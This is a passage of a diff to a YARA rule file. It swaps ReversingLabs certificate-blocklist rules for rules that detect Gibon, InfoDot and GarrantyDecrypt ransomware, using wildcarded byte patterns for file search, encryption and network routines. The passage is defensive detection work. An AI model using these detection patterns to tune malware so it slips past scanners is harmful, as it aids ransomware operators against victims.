?? ?? ?? ?? 40 84 F6 + 0F 85 ?? ?? ?? ?? 48 8B 55 ?? 48 85 D2 74 ?? 41 B8 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 48 8B 55 ?? 48 85 D2 74 ?? 41 B8 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 48 8B 55 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Open Source Developer, Hetem Ramadani" and pe.signatures [ i ] . serial == "56:e2:2b:99:2b:4c:7f:1a:fe:ac:1d:63:b4:92:bf:54" and 1435622399 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $find_files ) and ( all of ( $encrypt_files_* ) ) and ( $drop_ransom_note ) } - -rule REVERSINGLABS_Cert_Blocklist_3Bc3Bae4118D46F3Fdd9Beeeab749Fee : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Gibon : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Gibon ransomware." author = "ReversingLabs" - id = "0d2f1f5f-119a-5069-abcb-e4e93d9964c3" - date = "2020-08-05" - modified = "2023-11-08" + id = "3f1a5bee-8fc0-5596-b898-e97073731930" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1690-L1706" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Gibon.yara#L1-L122" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fcbda27f8bf4dca8aa32103bb344380c82f0c701c25766df94c182ef94805a12" + logic_hash = "cace0f35529307487f39aace6ae8989c7b878f82ebe890b256dfac563551a099" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Gibon" + tc_detection_factor = 5 importance = 25 + strings: + $remote_server_connection_1_0 = { + 53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ?? + ?? 64 A1 ?? ?? ?? ?? 50 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 + ?? 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? + C7 45 ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 + ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 85 C0 74 ?? BA ?? ?? + ?? ?? E9 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? + 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 B9 ?? ?? ?? ?? 83 FE ?? 75 ?? BA ?? ?? ?? ?? E9 + ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? + FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? B8 ?? ?? ?? ?? 6A ?? 66 89 85 ?? ?? ?? ?? FF 15 + ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 56 FF 15 ?? ?? ?? ?? 8B + 3D ?? ?? ?? ?? 85 C0 79 ?? FF D7 50 51 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? 8B C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? + ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 8B 43 ?? + 83 C0 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? + ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? + ?? ?? ?? E8 ?? ?? ?? ?? 83 7B ?? ?? 8D 43 ?? FF 73 ?? 0F 43 43 ?? 8D 8D ?? ?? ?? ?? + 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 + } + $remote_server_connection_1_1 = { + E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? + ?? ?? ?? 8B 53 ?? 8D 4B ?? 83 FA ?? 0F 43 4B ?? 8D 41 ?? 89 85 ?? ?? ?? ?? 90 8A 01 + 41 84 C0 75 ?? 2B 8D ?? ?? ?? ?? 8D 43 ?? 6A ?? 83 FA ?? 51 0F 43 43 ?? 50 56 FF 15 + ?? ?? ?? ?? 85 C0 79 ?? FF D7 50 51 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 + C4 ?? 8B C8 E8 ?? ?? ?? ?? EB ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? + 83 F8 ?? 0F 85 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? + ?? ?? 83 C4 ?? BE ?? ?? ?? ?? 8B 43 ?? 83 F8 ?? 72 ?? 8B 4B ?? 40 3D ?? ?? ?? ?? 72 + ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 + ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 8B 4D + ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D 8B E3 5B C3 + } + $encryption_loop_1_0 = { + 66 8B 01 66 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83 EE ?? 75 ?? C6 85 ?? ?? ?? ?? ?? E9 ?? + ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 8B 51 ?? 83 CA ?? + 8B C2 83 C8 ?? 83 79 ?? ?? 0F 45 C2 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 32 C0 0F 85 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 C7 45 ?? ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? 83 CB ?? 68 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 + 45 ?? ?? ?? ?? ?? 8B D7 8B 9D ?? ?? ?? ?? 83 CB ?? 83 7F ?? ?? 89 9D ?? ?? ?? ?? 89 + 9D ?? ?? ?? ?? 72 ?? 8B 17 83 78 ?? ?? 8B C8 72 ?? 8B 08 8B 70 ?? 3B 77 ?? 75 ?? 85 + F6 0F 84 + } + $encryption_loop_1_1 = { + 66 8B 01 66 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83 EE ?? 75 ?? C6 85 ?? ?? ?? ?? ?? EB ?? + 32 C0 74 ?? C6 85 ?? ?? ?? ?? ?? EB ?? C6 85 ?? ?? ?? ?? ?? F6 C3 ?? 74 ?? 83 E3 ?? + 8D 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 C3 ?? 74 ?? 83 E3 ?? 8D 8D ?? + ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 C3 ?? 74 ?? 83 E3 ?? 8D 8D ?? ?? ?? ?? + 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 C3 ?? 74 ?? 83 E3 ?? 8D 8D ?? ?? ?? ?? 89 9D ?? + ?? ?? ?? E8 ?? ?? ?? ?? 32 C0 75 ?? 83 E3 ?? 8D 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 32 C0 C7 45 ?? ?? ?? ?? ?? 75 ?? 83 E3 ?? 8D 8D ?? ?? ?? ?? 89 9D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 51 FF B5 ?? ?? ?? ?? BA + ?? ?? ?? ?? C6 45 ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 + ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 95 + } + $encryption_loop_1_2 = { + 57 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? + ?? ?? ?? C3 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? + 89 85 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 FF B5 + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? + ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E + 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 51 FF B5 ?? ?? ?? ?? BA ?? ?? ?? ?? 51 + 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 + C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 69 0F ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? + ?? ?? BA ?? ?? ?? ?? 03 48 ?? 8D 85 ?? ?? ?? ?? 50 51 E8 ?? ?? ?? ?? 85 C0 74 ?? BA + ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E9 + } + $encryption_loop_1_3 = { + 69 37 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 03 70 ?? E8 ?? ?? ?? ?? 8B 95 ?? + ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 81 CB ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 78 ?? 8D + 4A ?? 89 08 8D 4A ?? 89 48 ?? 8D 4A ?? 89 48 ?? 8D 4A ?? 89 48 ?? 8D 4A ?? 89 48 ?? + B9 ?? ?? ?? ?? F3 A5 66 A5 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? + ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? + ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? + C6 45 ?? ?? 8B B5 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 56 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ?? ?? 83 C4 + ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B BD ?? + ?? ?? ?? 8B 8D ?? ?? ?? ?? FF 07 8B 07 89 41 ?? 69 17 ?? ?? ?? ?? 8B 41 ?? 80 A4 02 + ?? ?? ?? ?? ?? 8B 01 48 39 07 75 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 + E8 ?? ?? ?? ?? 83 C4 ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F + 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E8 + ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8A 11 8B + C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE6\\x9D\\x8E\\xE9\\x9B\\xAA\\xE6\\xA2\\x85" and pe.signatures [ i ] . serial == "3b:c3:ba:e4:11:8d:46:f3:fd:d9:be:ee:ab:74:9f:ee" and 1442275199 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $remote_server_connection_1_0 and $remote_server_connection_1_1 and ( all of ( $encryption_loop_1_* ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_0F0449F7691E5B4C8E74E71Cae822179 : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Infodot : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects InfoDot ransomware." author = "ReversingLabs" - id = "17c99772-f2f9-56bc-be01-d9f62626a9ff" - date = "2020-08-05" - modified = "2023-11-08" + id = "2f6447f4-523b-5ea1-a16d-d68bb9bcc79d" + date = "2021-02-16" + modified = "2021-02-16" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1708-L1724" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.InfoDot.yara#L1-L115" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f8d3593b357f27240a4399e877ae9044f783bb944ad47ec9fe8bbecc63be864c" + logic_hash = "24a1c25c1d70c21323417ae0892c613361c4bfc829737ef86b6fa7616ae668c6" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "InfoDot" + tc_detection_factor = 5 importance = 25 + strings: + $find_files_p1 = { + 55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? + 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B FA 8B D9 89 9D ?? ?? ?? ?? + 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? + ?? ?? 53 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 50 8D 85 ?? ?? ?? ?? 50 FF D3 8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? EB + ?? 8D 49 ?? F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 + ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 + ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? + ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 + ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 + C0 74 ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B FF 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 + ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 + 83 C8 ?? 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 53 8D 85 ?? ?? ?? ?? 50 FF 15 + } + $find_files_p2 = { + 8B D7 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 + C0 0F 85 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 57 8B 3D ?? ?? ?? ?? 56 50 FF D7 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? + 50 FF D3 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 9B ?? ?? ?? ?? F6 85 ?? ?? + ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? + ?? 50 56 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 8D 85 ?? ?? ?? ?? 50 FF D7 68 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 C0 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 66 39 85 ?? ?? ?? ?? 75 ?? 33 C9 + EB ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 90 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 51 + 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 51 50 E8 ?? ?? ?? ?? 99 83 C4 ?? 0B + C2 75 ?? 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB ?? C7 85 ?? ?? ?? + ?? ?? ?? ?? ?? 83 CB ?? 83 BD ?? ?? ?? ?? ?? 72 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? + 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F8 BA ?? ?? ?? ?? 8B CF 8D A4 24 + ?? ?? ?? ?? 66 8B 31 66 3B 32 75 ?? 66 85 F6 74 ?? 66 8B 41 ?? 66 3B 42 ?? 75 ?? 83 + } + $find_files_p3 = { + C1 ?? 83 C2 ?? 66 85 C0 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 + ?? ?? ?? ?? 8B C7 8D 9B ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 + ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 + C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B C7 8D 9B ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? + 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 + EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B C7 8D 9B ?? ?? ?? ?? + 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 + ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? + 8B C7 8D 9B ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 + ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? + ?? ?? ?? B8 ?? ?? ?? ?? 66 8B 0F 66 3B 08 75 ?? 66 85 C9 74 ?? 66 8B 4F ?? 66 3B 48 + ?? 75 ?? 83 C7 ?? 83 C0 ?? 66 85 C9 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? + ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 85 DB 7F ?? 8B 95 ?? ?? ?? ?? 7C ?? 81 + } + $find_files_p4 = { + FA ?? ?? ?? ?? 73 ?? 3B D8 0F 8F ?? ?? ?? ?? 7C ?? 3B D1 73 ?? 8D 8D ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 EC ?? 8D 95 ?? ?? ?? ?? 8B CC 51 E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? + ?? 83 C4 ?? 84 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 3B D8 7F + ?? 7C ?? 8B 85 ?? ?? ?? ?? 3B C1 73 ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D + 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? 8B 3D ?? + ?? ?? ?? 8B B5 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 50 FF 15 ?? ?? ?? + ?? 85 C0 8B 85 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 64 89 0D + ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 + } + $encrypt_files = { + 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 8B F1 C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 83 C4 + ?? 85 C0 74 ?? 83 C8 ?? 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 56 8D 85 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? + ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 0F 57 + C0 68 ?? ?? ?? ?? 50 F3 0F 7F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? + ?? ?? ?? 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? + 57 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 + ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 74 ?? 8B FF + 81 FF ?? ?? ?? ?? 75 ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 + 50 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 6A ?? 50 E8 ?? ?? ?? ?? FF + B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 6A ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 85 FF 75 + ?? 8B C7 25 ?? ?? ?? ?? 79 ?? 48 83 C8 ?? 40 BE ?? ?? ?? ?? 2B F0 8D 85 ?? ?? ?? ?? + 56 03 C7 56 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 03 F7 8D 85 ?? ?? + ?? ?? 56 50 50 E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 6A ?? 50 E8 ?? + ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? + 83 C4 ?? 33 CD 33 C0 5F 5E E8 ?? ?? ?? ?? 8B E5 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SBO INVEST" and pe.signatures [ i ] . serial == "0f:04:49:f7:69:1e:5b:4c:8e:74:e7:1c:ae:82:21:79" and 1432079999 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) } - -rule REVERSINGLABS_Cert_Blocklist_43Db4448D870D7Bdc275F36A01Fba36F : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Garrantydecrypt : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects GarrantyDecrypt ransomware." author = "ReversingLabs" - id = "47b3e681-87ae-5e70-8d02-18aa0daab0dc" - date = "2020-08-05" - modified = "2023-11-08" + id = "0aa05f06-1773-5ce8-892d-04468f5deccc" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L1726-L1742" + source_url 